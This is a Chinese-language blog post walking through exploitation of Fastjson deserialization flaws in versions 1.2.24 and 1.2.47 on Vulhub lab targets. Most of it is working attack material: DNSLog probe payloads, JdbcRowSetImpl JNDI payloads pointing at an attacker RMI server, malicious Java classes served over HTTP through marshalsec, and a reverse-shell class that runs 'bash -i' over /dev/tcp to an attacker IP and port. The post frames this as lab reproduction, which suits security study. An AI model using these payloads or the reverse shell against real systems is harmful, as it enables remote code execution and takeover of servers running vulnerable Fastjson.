Fastjson 是阿里巴巴的开源JSON解析库,它可以解析 JSON 格式的字符串,支持将 JavaBean 序列化为 JSON 字符串,也可以从 JSON 字符串反序列化到 JavaBean。
漏洞检测
DNSLog回显
- 通过构造DNS解析来判断是否是Fastjson,Fastjson在解析下面这些Payload时会取解析val的值,从而可以在dnslog接收到回显,以此判断是不是Fastjson
{"a":{"@type":"java.net.Inet4Address","val":"xxx.dnslog.cn"}}
{"@type":"java.net.Inet4Address","val":"xxx.dnslog.cn"}
{"@type":"java.net.Inet6Address","val":"xxx.dnslog.cn"}
{"@type":"java.net.InetSocketAddress"{"address":,"val":"xxx.dnslog.cn"}}
{"@type":"com.alibaba.fastjson.JSONObject", {"@type": "java.net.URL", "val":"xxx.dnslog.cn"}}""}
{{"@type":"java.net.URL","val":"xxx.dnslog.cn"}:"aaa"}
Set[{"@type":"java.net.URL","val":"xxx.dnslog.cn"}]
Set[{"@type":"java.net.URL","val":"xxx.dnslog.cn"}
{{"@type":"java.net.URL","val":"xxx.dnslog.cn"}:0
增加Key
Java语言中常用的Json处理主要是Fastjson和Jackson,相对而言,Jackson比较严格,强制Key和JavaBean属性对齐,只能少Key不能多Key,所以可以通过增加一个Key看响应包会不会报错来判断。
1.2.24 反序列化导致任意命令执行漏洞
- 这里使用Vulhub/Fastjson-1.2.24-1.2.24-rce/进行搭建
- 抓包,修改一下然后提交,可以在DNSLog平台看到回显
// Payload
{"naraku":{"@type":"java.net.Inet4Address","val":"xxx.dnslog.cn"}}
- 构造恶意文件
TouchFile.java
并编译成class
文件
$ vim TouchFile.java
$ javac TouchFile.java
import java.lang.Runtime;
import java.lang.Process;
public class TouchFile {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"touch", "/tmp/success.txt"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
- 然后使用Python开启HTTP服务,通过浏览器访问确保可以找到
TouchFile.class
文件 - 同时借助marshalsec启动一个RMI服务器,监听9999端口,并制定加载远程类
TouchFile.class
。marshalsec-0.0.3-SNAPSHOT-all.jar
可以自己使用Maven构建,也可以直接在这里下载并上传到服务器
$ python -m SimpleHTTPServer 8888
$ java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://服务器IP:8888/#TouchFile" 9999
- 向靶场服务器发送Payload,带上RMI的地址:
{
"naraku":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://服务器IP:9999/TouchFile",
"autoCommit":true
}
}
1.2.47 远程命令执行漏洞
Fastjson于1.2.24版本后增加了反序列化白名单,而在1.2.48以前的版本中,攻击者可以利用特殊构造的json字符串绕过白名单检测,成功执行任意命令。
- 搭建:Vulhub/Fastjson-1.2.24-1.2.47-rce/
- 抓包,POST以下Payload。注意需要将
Content-Type
设为application/json
# Payload
{"a":{"@type":"java.net.Inet4Address","val":"xxx.dnslog.cn"}}
- 具体实现和前面差不多,开启HTTP服务(8888端口)和RMI/LDAP服务(9999端口),加载下面的
Exploit.class
$ python -m SimpleHTTPServer 8888
$ java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://<服务器IP>:8888/#Exploit" 9999
Exploit.class
public class Exploit {
public Exploit(){
try{
Runtime.getRuntime().exec("touch /tmp/success.txt");
}catch(Exception e){
e.printStackTrace();
}
}
public static void main(String[] argv){
Exploit e = new Exploit();
}
}
- 发送Payload
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://<服务器IP>:9999/Exploit",
"autoCommit":true
}
}
- 可以看到
success.txt
文件被成功创建
其它
反弹Shell
public class Exploit {
public Exploit(){
try{
Runtime.getRuntime().exec("/bin/bash -c $@|bash 0 echo bash -i >&/dev/tcp/服务器IP/端口 0>&1");
}catch(Exception e){
e.printStackTrace();
}
}
public static void main(String[] argv){
Exploit e = new Exploit();
}
}
报错
- 复现时遇到报错
set property error, autoCommit...
- 原因:启动RMI服务器会使用2个端口,其中一个固定的,另一个是随机的。而我这里复现时一开始使用的攻击机为阿里云服务器,由于安全组的原因导致出现这个报错。后来将攻击机和靶机都使用虚拟机Kali来完成复现。
- 参考:issues-169
参考
版权属于:Naraku
本文链接:https://www.naraku.cn/posts/86.html
本站所有原创文章均采用 知识共享署名-非商业-禁止演绎4.0国际许可证 。如需转载请务必注明出处并保留原文链接,谢谢~